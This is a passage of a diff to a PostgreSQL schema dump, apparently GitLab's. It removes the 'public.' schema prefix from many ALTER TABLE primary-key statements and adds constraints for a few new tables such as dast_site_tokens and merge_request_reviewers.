ADD CONSTRAINT ci_pipeline_schedule_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_schedules
+ALTER TABLE ONLY ci_pipeline_schedules
ADD CONSTRAINT ci_pipeline_schedules_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipeline_variables
+ALTER TABLE ONLY ci_pipeline_variables
ADD CONSTRAINT ci_pipeline_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_pipelines_config
+ALTER TABLE ONLY ci_pipelines_config
ADD CONSTRAINT ci_pipelines_config_pkey PRIMARY KEY (pipeline_id);
-ALTER TABLE ONLY public.ci_pipelines
+ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT ci_pipelines_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_refs
+ALTER TABLE ONLY ci_platform_metrics
+ ADD CONSTRAINT ci_platform_metrics_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY ci_refs
ADD CONSTRAINT ci_refs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_resource_groups
+ALTER TABLE ONLY ci_resource_groups
ADD CONSTRAINT ci_resource_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_resources
+ALTER TABLE ONLY ci_resources
ADD CONSTRAINT ci_resources_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_runner_namespaces
+ALTER TABLE ONLY ci_runner_namespaces
ADD CONSTRAINT ci_runner_namespaces_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_runner_projects
+ALTER TABLE ONLY ci_runner_projects
ADD CONSTRAINT ci_runner_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_runners
+ALTER TABLE ONLY ci_runners
ADD CONSTRAINT ci_runners_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_sources_pipelines
+ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT ci_sources_pipelines_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_sources_projects
+ALTER TABLE ONLY ci_sources_projects
ADD CONSTRAINT ci_sources_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_stages
+ALTER TABLE ONLY ci_stages
ADD CONSTRAINT ci_stages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_subscriptions_projects
+ALTER TABLE ONLY ci_subscriptions_projects
ADD CONSTRAINT ci_subscriptions_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_trigger_requests
+ALTER TABLE ONLY ci_trigger_requests
ADD CONSTRAINT ci_trigger_requests_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_triggers
+ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT ci_triggers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ci_variables
+ALTER TABLE ONLY ci_variables
ADD CONSTRAINT ci_variables_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_agent_tokens
+ALTER TABLE ONLY cluster_agent_tokens
ADD CONSTRAINT cluster_agent_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_agents
+ALTER TABLE ONLY cluster_agents
ADD CONSTRAINT cluster_agents_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_groups
+ALTER TABLE ONLY cluster_groups
ADD CONSTRAINT cluster_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_platforms_kubernetes
+ALTER TABLE ONLY cluster_platforms_kubernetes
ADD CONSTRAINT cluster_platforms_kubernetes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_projects
+ALTER TABLE ONLY cluster_projects
ADD CONSTRAINT cluster_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_providers_aws
+ALTER TABLE ONLY cluster_providers_aws
ADD CONSTRAINT cluster_providers_aws_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.cluster_providers_gcp
+ALTER TABLE ONLY cluster_providers_gcp
ADD CONSTRAINT cluster_providers_gcp_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_cert_managers
+ALTER TABLE ONLY clusters_applications_cert_managers
ADD CONSTRAINT clusters_applications_cert_managers_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_cilium
+ALTER TABLE ONLY clusters_applications_cilium
ADD CONSTRAINT clusters_applications_cilium_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_crossplane
+ALTER TABLE ONLY clusters_applications_crossplane
ADD CONSTRAINT clusters_applications_crossplane_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_elastic_stacks
+ALTER TABLE ONLY clusters_applications_elastic_stacks
ADD CONSTRAINT clusters_applications_elastic_stacks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_fluentd
+ALTER TABLE ONLY clusters_applications_fluentd
ADD CONSTRAINT clusters_applications_fluentd_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_helm
+ALTER TABLE ONLY clusters_applications_helm
ADD CONSTRAINT clusters_applications_helm_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_ingress
+ALTER TABLE ONLY clusters_applications_ingress
ADD CONSTRAINT clusters_applications_ingress_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_jupyter
+ALTER TABLE ONLY clusters_applications_jupyter
ADD CONSTRAINT clusters_applications_jupyter_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_knative
+ALTER TABLE ONLY clusters_applications_knative
ADD CONSTRAINT clusters_applications_knative_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_prometheus
+ALTER TABLE ONLY clusters_applications_prometheus
ADD CONSTRAINT clusters_applications_prometheus_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_applications_runners
+ALTER TABLE ONLY clusters_applications_runners
ADD CONSTRAINT clusters_applications_runners_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces
+ALTER TABLE ONLY clusters_kubernetes_namespaces
ADD CONSTRAINT clusters_kubernetes_namespaces_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.clusters
+ALTER TABLE ONLY clusters
ADD CONSTRAINT clusters_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.commit_user_mentions
+ALTER TABLE ONLY commit_user_mentions
ADD CONSTRAINT commit_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.container_expiration_policies
+ALTER TABLE ONLY container_expiration_policies
ADD CONSTRAINT container_expiration_policies_pkey PRIMARY KEY (project_id);
-ALTER TABLE ONLY public.container_repositories
+ALTER TABLE ONLY container_repositories
ADD CONSTRAINT container_repositories_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.conversational_development_index_metrics
+ALTER TABLE ONLY conversational_development_index_metrics
ADD CONSTRAINT conversational_development_index_metrics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.custom_emoji
+ALTER TABLE ONLY custom_emoji
ADD CONSTRAINT custom_emoji_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.dast_scanner_profiles
+ALTER TABLE ONLY dast_scanner_profiles
ADD CONSTRAINT dast_scanner_profiles_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.dast_site_profiles
+ALTER TABLE ONLY dast_site_profiles
ADD CONSTRAINT dast_site_profiles_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.dast_sites
+ALTER TABLE ONLY dast_site_tokens
+ ADD CONSTRAINT dast_site_tokens_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY dast_site_validations
+ ADD CONSTRAINT dast_site_validations_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY dast_sites
ADD CONSTRAINT dast_sites_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.dependency_proxy_blobs
+ALTER TABLE ONLY dependency_proxy_blobs
ADD CONSTRAINT dependency_proxy_blobs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.dependency_proxy_group_settings
+ALTER TABLE ONLY dependency_proxy_group_settings
ADD CONSTRAINT dependency_proxy_group_settings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.deploy_keys_projects
+ALTER TABLE ONLY deploy_keys_projects
ADD CONSTRAINT deploy_keys_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.deploy_tokens
+ALTER TABLE ONLY deploy_tokens
ADD CONSTRAINT deploy_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.deployment_clusters
+ALTER TABLE ONLY deployment_clusters
ADD CONSTRAINT deployment_clusters_pkey PRIMARY KEY (deployment_id);
-ALTER TABLE ONLY public.deployments
+ALTER TABLE ONLY deployments
ADD CONSTRAINT deployments_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.description_versions
+ALTER TABLE ONLY description_versions
ADD CONSTRAINT description_versions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.design_management_designs
+ALTER TABLE ONLY design_management_designs
ADD CONSTRAINT design_management_designs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.design_management_designs_versions
+ALTER TABLE ONLY design_management_designs_versions
ADD CONSTRAINT design_management_designs_versions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.design_management_versions
+ALTER TABLE ONLY design_management_versions
ADD CONSTRAINT design_management_versions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.design_user_mentions
+ALTER TABLE ONLY design_user_mentions
ADD CONSTRAINT design_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.diff_note_positions
+ALTER TABLE ONLY diff_note_positions
ADD CONSTRAINT diff_note_positions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.draft_notes
+ALTER TABLE ONLY draft_notes
ADD CONSTRAINT draft_notes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.elastic_reindexing_tasks
+ALTER TABLE ONLY elastic_reindexing_tasks
ADD CONSTRAINT elastic_reindexing_tasks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.emails
+ALTER TABLE ONLY emails
ADD CONSTRAINT emails_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.environments
+ALTER TABLE ONLY environments
ADD CONSTRAINT environments_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.epic_issues
+ALTER TABLE ONLY epic_issues
ADD CONSTRAINT epic_issues_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.epic_metrics
+ALTER TABLE ONLY epic_metrics
ADD CONSTRAINT epic_metrics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.epic_user_mentions
+ALTER TABLE ONLY epic_user_mentions
ADD CONSTRAINT epic_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.epics
+ALTER TABLE ONLY epics
ADD CONSTRAINT epics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.events
+ALTER TABLE ONLY events
ADD CONSTRAINT events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.evidences
+ALTER TABLE ONLY evidences
ADD CONSTRAINT evidences_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.experiment_users
+ALTER TABLE ONLY experiment_users
ADD CONSTRAINT experiment_users_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.experiments
+ALTER TABLE ONLY experiments
ADD CONSTRAINT experiments_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.external_pull_requests
+ALTER TABLE ONLY external_pull_requests
ADD CONSTRAINT external_pull_requests_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.feature_gates
+ALTER TABLE ONLY feature_gates
ADD CONSTRAINT feature_gates_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.features
+ALTER TABLE ONLY features
ADD CONSTRAINT features_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.fork_network_members
+ALTER TABLE ONLY fork_network_members
ADD CONSTRAINT fork_network_members_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.fork_networks
+ALTER TABLE ONLY fork_networks
ADD CONSTRAINT fork_networks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_cache_invalidation_events
+ALTER TABLE ONLY geo_cache_invalidation_events
ADD CONSTRAINT geo_cache_invalidation_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_container_repository_updated_events
+ALTER TABLE ONLY geo_container_repository_updated_events
ADD CONSTRAINT geo_container_repository_updated_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_event_log
+ALTER TABLE ONLY geo_event_log
ADD CONSTRAINT geo_event_log_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_events
+ALTER TABLE ONLY geo_events
ADD CONSTRAINT geo_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_hashed_storage_attachments_events
+ALTER TABLE ONLY geo_hashed_storage_attachments_events
ADD CONSTRAINT geo_hashed_storage_attachments_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_hashed_storage_migrated_events
+ALTER TABLE ONLY geo_hashed_storage_migrated_events
ADD CONSTRAINT geo_hashed_storage_migrated_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_job_artifact_deleted_events
+ALTER TABLE ONLY geo_job_artifact_deleted_events
ADD CONSTRAINT geo_job_artifact_deleted_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_lfs_object_deleted_events
+ALTER TABLE ONLY geo_lfs_object_deleted_events
ADD CONSTRAINT geo_lfs_object_deleted_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_node_namespace_links
+ALTER TABLE ONLY geo_node_namespace_links
ADD CONSTRAINT geo_node_namespace_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_node_statuses
+ALTER TABLE ONLY geo_node_statuses
ADD CONSTRAINT geo_node_statuses_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_nodes
+ALTER TABLE ONLY geo_nodes
ADD CONSTRAINT geo_nodes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_repositories_changed_events
+ALTER TABLE ONLY geo_repositories_changed_events
ADD CONSTRAINT geo_repositories_changed_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_repository_created_events
+ALTER TABLE ONLY geo_repository_created_events
ADD CONSTRAINT geo_repository_created_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_repository_deleted_events
+ALTER TABLE ONLY geo_repository_deleted_events
ADD CONSTRAINT geo_repository_deleted_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_repository_renamed_events
+ALTER TABLE ONLY geo_repository_renamed_events
ADD CONSTRAINT geo_repository_renamed_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_repository_updated_events
+ALTER TABLE ONLY geo_repository_updated_events
ADD CONSTRAINT geo_repository_updated_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_reset_checksum_events
+ALTER TABLE ONLY geo_reset_checksum_events
ADD CONSTRAINT geo_reset_checksum_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.geo_upload_deleted_events
+ALTER TABLE ONLY geo_upload_deleted_events
ADD CONSTRAINT geo_upload_deleted_events_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.gitlab_subscription_histories
+ALTER TABLE ONLY gitlab_subscription_histories
ADD CONSTRAINT gitlab_subscription_histories_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.gitlab_subscriptions
+ALTER TABLE ONLY gitlab_subscriptions
ADD CONSTRAINT gitlab_subscriptions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.gpg_key_subkeys
+ALTER TABLE ONLY gpg_key_subkeys
ADD CONSTRAINT gpg_key_subkeys_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.gpg_keys
+ALTER TABLE ONLY gpg_keys
ADD CONSTRAINT gpg_keys_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.gpg_signatures
+ALTER TABLE ONLY gpg_signatures
ADD CONSTRAINT gpg_signatures_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.grafana_integrations
+ALTER TABLE ONLY grafana_integrations
ADD CONSTRAINT grafana_integrations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_custom_attributes
+ALTER TABLE ONLY group_custom_attributes
ADD CONSTRAINT group_custom_attributes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_deletion_schedules
+ALTER TABLE ONLY group_deletion_schedules
ADD CONSTRAINT group_deletion_schedules_pkey PRIMARY KEY (group_id);
-ALTER TABLE ONLY public.group_deploy_keys_groups
+ALTER TABLE ONLY group_deploy_keys_groups
ADD CONSTRAINT group_deploy_keys_groups_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_deploy_keys
+ALTER TABLE ONLY group_deploy_keys
ADD CONSTRAINT group_deploy_keys_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_deploy_tokens
+ALTER TABLE ONLY group_deploy_tokens
ADD CONSTRAINT group_deploy_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_group_links
+ALTER TABLE ONLY group_group_links
ADD CONSTRAINT group_group_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.group_import_states
+ALTER TABLE ONLY group_import_states
ADD CONSTRAINT group_import_states_pkey PRIMARY KEY (group_id);
-ALTER TABLE ONLY public.group_wiki_repositories
+ALTER TABLE ONLY group_wiki_repositories
ADD CONSTRAINT group_wiki_repositories_pkey PRIMARY KEY (group_id);
-ALTER TABLE ONLY public.historical_data
+ALTER TABLE ONLY historical_data
ADD CONSTRAINT historical_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.identities
+ALTER TABLE ONLY identities
ADD CONSTRAINT identities_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.import_export_uploads
+ALTER TABLE ONLY import_export_uploads
ADD CONSTRAINT import_export_uploads_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.import_failures
+ALTER TABLE ONLY import_failures
ADD CONSTRAINT import_failures_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.index_statuses
+ALTER TABLE ONLY index_statuses
ADD CONSTRAINT index_statuses_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.insights
+ALTER TABLE ONLY insights
ADD CONSTRAINT insights_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.internal_ids
+ALTER TABLE ONLY internal_ids
ADD CONSTRAINT internal_ids_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ip_restrictions
+ALTER TABLE ONLY ip_restrictions
ADD CONSTRAINT ip_restrictions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.issue_links
+ALTER TABLE ONLY issuable_severities
+ ADD CONSTRAINT issuable_severities_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY issue_links
ADD CONSTRAINT issue_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.issue_metrics
+ALTER TABLE ONLY issue_metrics
ADD CONSTRAINT issue_metrics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.issue_tracker_data
+ALTER TABLE ONLY issue_tracker_data
ADD CONSTRAINT issue_tracker_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.issue_user_mentions
+ALTER TABLE ONLY issue_user_mentions
ADD CONSTRAINT issue_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.issues
+ALTER TABLE ONLY issues
ADD CONSTRAINT issues_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.sprints
+ALTER TABLE ONLY sprints
ADD CONSTRAINT iteration_start_and_due_daterange_group_id_constraint EXCLUDE USING gist (group_id WITH =, daterange(start_date, due_date, '[]'::text) WITH &&) WHERE ((group_id IS NOT NULL));
-ALTER TABLE ONLY public.sprints
+ALTER TABLE ONLY sprints
ADD CONSTRAINT iteration_start_and_due_daterange_project_id_constraint EXCLUDE USING gist (project_id WITH =, daterange(start_date, due_date, '[]'::text) WITH &&) WHERE ((project_id IS NOT NULL));
-ALTER TABLE ONLY public.jira_connect_installations
+ALTER TABLE ONLY jira_connect_installations
ADD CONSTRAINT jira_connect_installations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.jira_connect_subscriptions
+ALTER TABLE ONLY jira_connect_subscriptions
ADD CONSTRAINT jira_connect_subscriptions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.jira_imports
+ALTER TABLE ONLY jira_imports
ADD CONSTRAINT jira_imports_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.jira_tracker_data
+ALTER TABLE ONLY jira_tracker_data
ADD CONSTRAINT jira_tracker_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.keys
+ALTER TABLE ONLY keys
ADD CONSTRAINT keys_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.label_links
+ALTER TABLE ONLY label_links
ADD CONSTRAINT label_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.label_priorities
+ALTER TABLE ONLY label_priorities
ADD CONSTRAINT label_priorities_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.labels
+ALTER TABLE ONLY labels
ADD CONSTRAINT labels_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.ldap_group_links
+ALTER TABLE ONLY ldap_group_links
ADD CONSTRAINT ldap_group_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.lfs_file_locks
+ALTER TABLE ONLY lfs_file_locks
ADD CONSTRAINT lfs_file_locks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.lfs_objects
+ALTER TABLE ONLY lfs_objects
ADD CONSTRAINT lfs_objects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.lfs_objects_projects
+ALTER TABLE ONLY lfs_objects_projects
ADD CONSTRAINT lfs_objects_projects_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.licenses
+ALTER TABLE ONLY licenses
ADD CONSTRAINT licenses_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.list_user_preferences
+ALTER TABLE ONLY list_user_preferences
ADD CONSTRAINT list_user_preferences_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.lists
+ALTER TABLE ONLY lists
ADD CONSTRAINT lists_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.members
+ALTER TABLE ONLY members
ADD CONSTRAINT members_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_assignees
+ALTER TABLE ONLY merge_request_assignees
ADD CONSTRAINT merge_request_assignees_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_blocks
+ALTER TABLE ONLY merge_request_blocks
ADD CONSTRAINT merge_request_blocks_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_context_commits
+ALTER TABLE ONLY merge_request_context_commits
ADD CONSTRAINT merge_request_context_commits_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_diffs
+ALTER TABLE ONLY merge_request_diff_details
+ ADD CONSTRAINT merge_request_diff_details_pkey PRIMARY KEY (merge_request_diff_id);
+
+ALTER TABLE ONLY merge_request_diffs
ADD CONSTRAINT merge_request_diffs_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_metrics
+ALTER TABLE ONLY merge_request_metrics
ADD CONSTRAINT merge_request_metrics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_request_user_mentions
+ALTER TABLE ONLY merge_request_reviewers
+ ADD CONSTRAINT merge_request_reviewers_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY merge_request_user_mentions
ADD CONSTRAINT merge_request_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_requests_closing_issues
+ALTER TABLE ONLY merge_requests_closing_issues
ADD CONSTRAINT merge_requests_closing_issues_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_requests
+ALTER TABLE ONLY merge_requests
ADD CONSTRAINT merge_requests_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.merge_trains
+ALTER TABLE ONLY merge_trains
ADD CONSTRAINT merge_trains_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.metrics_dashboard_annotations
+ALTER TABLE ONLY metrics_dashboard_annotations
ADD CONSTRAINT metrics_dashboard_annotations_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.metrics_users_starred_dashboards
+ALTER TABLE ONLY metrics_users_starred_dashboards
ADD CONSTRAINT metrics_users_starred_dashboards_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.milestones
+ALTER TABLE ONLY milestones
ADD CONSTRAINT milestones_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.namespace_aggregation_schedules
+ALTER TABLE ONLY namespace_aggregation_schedules
ADD CONSTRAINT namespace_aggregation_schedules_pkey PRIMARY KEY (namespace_id);
-ALTER TABLE ONLY public.namespace_limits
+ALTER TABLE ONLY namespace_limits
ADD CONSTRAINT namespace_limits_pkey PRIMARY KEY (namespace_id);
-ALTER TABLE ONLY public.namespace_root_storage_statistics
+ALTER TABLE ONLY namespace_root_storage_statistics
ADD CONSTRAINT namespace_root_storage_statistics_pkey PRIMARY KEY (namespace_id);
-ALTER TABLE ONLY public.namespace_settings
+ALTER TABLE ONLY namespace_settings
ADD CONSTRAINT namespace_settings_pkey PRIMARY KEY (namespace_id);
-ALTER TABLE ONLY public.namespace_statistics
+ALTER TABLE ONLY namespace_statistics
ADD CONSTRAINT namespace_statistics_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.namespaces
+ALTER TABLE ONLY namespaces
ADD CONSTRAINT namespaces_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.note_diff_files
+ALTER TABLE ONLY note_diff_files
ADD CONSTRAINT note_diff_files_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.notes
+ALTER TABLE ONLY notes
ADD CONSTRAINT notes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.notification_settings
+ALTER TABLE ONLY notification_settings
ADD CONSTRAINT notification_settings_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.oauth_access_grants
+ALTER TABLE ONLY oauth_access_grants
ADD CONSTRAINT oauth_access_grants_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.oauth_access_tokens
+ALTER TABLE ONLY oauth_access_tokens
ADD CONSTRAINT oauth_access_tokens_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.oauth_applications
+ALTER TABLE ONLY oauth_applications
ADD CONSTRAINT oauth_applications_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.oauth_openid_requests
+ALTER TABLE ONLY oauth_openid_requests
ADD CONSTRAINT oauth_openid_requests_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.open_project_tracker_data
+ALTER TABLE ONLY open_project_tracker_data
ADD CONSTRAINT open_project_tracker_data_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_feature_flag_scopes
+ALTER TABLE ONLY operations_feature_flag_scopes
ADD CONSTRAINT operations_feature_flag_scopes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_feature_flags_clients
+ALTER TABLE ONLY operations_feature_flags_clients
ADD CONSTRAINT operations_feature_flags_clients_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_feature_flags_issues
+ALTER TABLE ONLY operations_feature_flags_issues
ADD CONSTRAINT operations_feature_flags_issues_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_feature_flags
+ALTER TABLE ONLY operations_feature_flags
ADD CONSTRAINT operations_feature_flags_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_scopes
+ALTER TABLE ONLY operations_scopes
ADD CONSTRAINT operations_scopes_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_strategies
+ALTER TABLE ONLY operations_strategies
ADD CONSTRAINT operations_strategies_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_strategies_user_lists
+ALTER TABLE ONLY operations_strategies_user_lists
ADD CONSTRAINT operations_strategies_user_lists_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.operations_user_lists
+ALTER TABLE ONLY operations_user_lists
ADD CONSTRAINT operations_user_lists_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_build_infos
+ALTER TABLE ONLY packages_build_infos
ADD CONSTRAINT packages_build_infos_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_composer_metadata
+ALTER TABLE ONLY packages_composer_metadata
ADD CONSTRAINT packages_composer_metadata_pkey PRIMARY KEY (package_id);
-ALTER TABLE ONLY public.packages_conan_file_metadata
+ALTER TABLE ONLY packages_conan_file_metadata
ADD CONSTRAINT packages_conan_file_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_conan_metadata
+ALTER TABLE ONLY packages_conan_metadata
ADD CONSTRAINT packages_conan_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_dependencies
+ALTER TABLE ONLY packages_dependencies
ADD CONSTRAINT packages_dependencies_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_dependency_links
+ALTER TABLE ONLY packages_dependency_links
ADD CONSTRAINT packages_dependency_links_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_maven_metadata
+ALTER TABLE ONLY packages_maven_metadata
ADD CONSTRAINT packages_maven_metadata_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY public.packages_nuget_dependency_link_metadata
